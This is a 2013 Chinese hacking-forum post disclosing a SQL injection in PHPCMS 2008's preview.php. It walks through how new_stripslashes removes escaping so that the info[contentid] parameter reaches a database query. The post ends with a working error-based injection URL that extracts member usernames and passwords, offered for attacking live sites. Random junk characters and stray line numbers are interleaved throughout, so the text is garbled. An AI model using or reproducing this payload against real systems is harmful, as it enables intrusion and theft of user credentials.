中国网络渗透测试联盟
标题:
PHPCMS 2008 最新漏洞(第二季)附EXP
[打印本页]
作者:
admin
时间:
2013-4-19 19:17
标题:
PHPCMS 2008 最新漏洞(第二季)附EXP
说好的第二季来了......
+ C( b7 d2 J) t S" a( m* X, k
; S+ U. x" Z d, I1 \" m
要转摘的兄弟们,你们还是带个版权吧!
1 r! D* A6 X2 I) O" K7 k
2 \; i# e! m9 W& t
组织 :
http://www.safekeyer.com/
(欢迎访问)
9 q. d& y f1 @# ^( D e
^' T) s3 Y- n
author: 西毒 blog:
http://hi.baidu.com/sethc5
f; i$ @( }' B7 [
3 n, t4 l5 V5 U3 I9 ^) c5 Q
5 z9 m: \$ Q+ ?8 E! t
% d: x5 j# N4 G0 I: M; F5 c& c, k
其实还是有蛮多漏洞的,只是我一步步来吧!你们别催,该放的时候自然就会放了.
I$ z; O! Y" ]
; b- R) c2 i2 ?6 Q' A: k
过程不明显的我就省略了。
# Y- K6 Z: ~: @. y3 R. R- }
$ B/ A8 w( @9 D) i3 W6 n
在preview.php 中第7行
- B, V+ l1 c6 r4 {! H
/ m* |8 l, f; H; W: g! W
$r = new_stripslashes($info);
( Z, ~( ]% K4 H/ X7 J8 j6 y
( L8 r2 _- N8 J
我们跟踪new_stripslashes这个函数
; F" p1 L+ F- u7 z& P
. l6 Q$ Q$ t2 O! h
在global.func.php中可以找到
$ m/ c& I# D4 T: S" D+ L
; I, s' d$ i$ }8 c! f) s5 s
1
: \4 ^8 ]4 Q. ?
2
5 Q/ |/ ]6 {/ l7 C
3
5 L7 M2 |( ]) x. J: Z7 b
4
( J$ D* z* Y) J. z
5
: y4 A7 T) K. R2 h% ~/ l
6 function new_stripslashes($string)
) e, w9 B/ [4 w) K% K
{
) E7 m) g! ~) w! m& \" }: ^
if(!is_array($string)) return stripslashes($string);
- h9 L2 o; _( d9 } w9 B. [+ U
foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
# O5 j# o$ D, D
return $string;
7 Y' \; K6 E/ m
}
+ m# |. M- @' z9 J5 G+ l1 W
; @- ~1 D- w. z; [8 o: L
这个函数的功能不用解释了吧
$ a, L; l! f. l- Z" d" }
! L1 C/ @- _8 s4 Y. {8 X
所以我们看具体应用点再哪?
3 u! I7 B, S! `5 T1 A# c1 I6 x, O
) w1 J8 U; ^. c+ v2 F
1
+ ^1 c# u9 a) k* }# S) `% q
2
: i, S' J. F9 x
3
) Q$ ~5 \1 z, {' v8 F7 w" D2 v
4
1 a% b' L2 \ h0 v5 {! M
5
" M# ^9 P0 ~0 v; E+ H5 Z. u' b
6
0 t) p* [* ^8 L3 \
7
0 D0 S* Z* P" Z! C# Q4 S9 {
8
% U9 K' D% y, O+ l, ]; `7 [1 B
9
- k5 R$ Z! ]" x% u: v
10
- A, u5 u' }, b/ `- j0 M( B7 v
11
! {/ W8 O8 L8 X. k( s0 _# V" p
12
2 \# y4 y# h7 C; s! ~+ d
13
0 c3 H' t0 z0 Z
14
7 ?) |( U/ z- h- V2 K/ f/ s
15
% i1 K8 q) V0 M5 r; k( J8 ?
16
, `( x$ e: M2 [9 Z4 ^) }
17
- J7 K8 \3 b2 w3 U5 @; D
18
* B1 F# ~2 v: U3 I0 o4 z. Y- ~8 h
19
2 j8 @( I' u) y& `5 K
20
; N' @+ Z( j) B* o% C% Z/ q- C) @
21
4 u' r& @. x9 _4 c- e+ w, U; o% J
22
7 N% |: v& t6 j. r/ P
23
6 A9 q: Z3 ^9 \
24
1 p+ n6 w4 r7 {
25
3 W, g; j! j5 D* _3 h7 G/ y6 A
26
6 ^0 }1 w- H/ g" _( h( G( ^
27
& m( P+ j! y6 u2 Q3 f
28
2 I) Q9 l0 Y1 y) G' z
29
' `4 D- O1 r8 M) q$ P# T- d
30
+ E$ I; H3 |" t- b4 d! t
31
5 Q7 b C: h. d
32
2 R/ }& m) R' q2 E. t. y, P1 s3 ?
33
$ ^, Y+ b, U$ T+ X# Y, ^
34
5 b- Z" i3 ~' @" P0 \+ l6 h$ q' A
35 require dirname(__FILE__).'/include/common.inc.php';
# Y1 j w, y* \5 o4 Y: [( ^9 D7 [' V
if(!$_userid) showmessage('禁止访问'); // 所以前提是我们注册个会员就ok了.
+ `+ _4 h, {5 w
require_once CACHE_MODEL_PATH.'content_output.class.php';
8 Q& L& p2 ~8 z, W/ K
require_once 'output.class.php';
% f/ H. ~, m. o( j* s& E$ u, N2 x
if(!is_array($info)) showmessage('信息预览不能翻页');//这里将要带进来我们的危险参数了
, p8 ^8 j4 w ~1 P0 ~: \/ e: f h
$r = new_stripslashes($info); //反转义了.....关键
! G4 V: ^* G3 b4 S& B0 r' t# d
$C = cache_read('category_'.$r['catid'].'.php');
/ w$ I4 X* [2 j# V- g+ X
$out = new content_output();
9 a c7 |1 q- V# `6 n% ^# L( I8 `5 v
$r['userid'] = $_userid;
- F) t# ? X; v6 d! j8 V3 I3 J
$r['inputtime'] = TIME;
$ ^ N- Y4 R9 ?& V" n9 |
$data = $out->get($r);
9 J* X8 P/ A* V7 R% ^9 u3 r9 L
extract($data);
& P! Z8 A- n% M I6 n$ z2 U* F# K
$userid = $_username;
% D/ D5 V9 t7 z" k b8 p" J
for($i=1;$i<10;$i++)
) B! z; U" s( T, f. d7 l/ w' P
{
b8 i0 ~' r6 @, ?/ N, w( |
$str_attachmentArray[$i] = array("filepath" => "images/preview.gif","description" => "这里是图片的描述","thumb"=>"images/thumb_60_60_preview.gif");
, ^6 s$ o7 N9 B1 a
}
6 |1 K A Q, R+ L
: z0 V( A' O0 ^4 }
$array_images = $str_attachmentArray;
/ t0 d8 ]0 m! h: M
$images_number = 10;
& b' [7 K4 [8 X( L
$allow_priv = $allow_readpoint = 1;
: I: Y, w9 l; V: Z- g
$updatetime = date('Y-m-d H:i:s',TIME);
( O2 ^: u; [# K; X0 K
% \" i! v; f, \0 [
$page = max(intval($page), 1);
. k0 s9 r. j: T4 P' ]/ ^& a
$pages = $titles = '';
* b) j, Q }( {/ N+ V! V
if(strpos($content, '') !== false) //这里必须还有这个这个字符.....才能操作哈
1 G- C. e" ? @; i; ]
{
- R0 J5 J) j. L+ J
require_once 'url.class.php';
3 u8 y8 u6 ?; V# l& q$ F% S6 f
$curl = new url();
3 [8 ?$ g6 E' l$ ?8 O
$contents = array_filter(explode('', $content));
& Q6 N6 O2 ]$ E
$pagenumber = count($contents);
$ x2 d5 Q! Q1 x# I c
for($i=1; $i<=$pagenumber; $i++)
$ Z* D& ^6 ?, V/ ?3 N7 M
{
$ f+ \( ^: x% s
$pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);//这里contentid进入SQL语句当中
& A/ k; [% s: z! ?1 h
}
# h3 k5 E5 r9 j) p
其中细节我就不说了...
) w: O* n: @, H) b6 C. K, `
- }- b9 f! a1 c4 M) s2 s" [; E
我们看看这个$curl资源句柄中的show方法
- U5 M9 w6 I% G" j! i3 _1 }7 h+ N6 B
) {) d1 S' m0 _
1 $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);
- c- K9 a* t* x) w- r1 d
: ~, @6 G, f" l
1
8 N- B' |- p) H2 f5 K
2
3 k+ `" l1 I5 t0 {3 S7 N$ ~
3
! I5 t8 n& J5 ^. O
4
/ a' {) d6 x6 K p9 {
5
9 y% h! X5 v) O4 o5 y- L' {9 F
6
" M. t& s5 M8 K# j5 R- U2 K$ }
7
0 l" E) G% G7 y
8 function show($contentid, $page = 0, $catid = 0, $time = 0, $prefix = '')
5 z1 n$ x( ^. t8 w% \2 r5 q
{
" t; R4 t J- M* @$ V: }7 Y' n: p
global $PHPCMS;
a. F' n1 y; J6 r
if($catid == 0 || $time == 0 || $prefix == '')
2 f. G. V9 g7 E3 X
{
2 ~; y4 Q4 q+ e& C1 F
$r = $this->db->get_one("SELECT * FROM `".DB_PRE."content` WHERE `contentid`='$contentid'");
* ^0 @ j7 S7 y% O
if($r['isupgrade'] && !empty($r['url']))
3 Q9 o3 f3 S/ ] w% a
{
2 ]5 u7 k( C- j; }; s9 A1 D% s; F
% H: {2 C+ g5 L0 T% H% P
所以结合前面的......我们x站了吧
8 y9 ^# i1 C( ^' Z' N: r
& I: l; e+ Z* c5 w4 A6 A7 P
给出exp
0 g2 E. o: [7 y0 J- N) F" K
: P( _8 F# L3 o# {) z, _
www.xxxxx.com/preview.php?info
[catid]=15&content=ab&info[contentid]=2' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)-- a
8 b+ N! h' H$ X3 f$ o, D
+ }$ I2 O4 m/ Z- [' t! M. V
截图看一下
2 H( y1 I+ {" f R
5 x1 c9 F9 b' ]7 ~2 C- Y r* _
最后真心说句,360收购漏洞计划,价格真心低.....
! l' K) f% k1 U! m- x- T5 e/ i
http://www.myhack58.com/Article/UploadPic/2013-4/2013419151239428.jpg
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2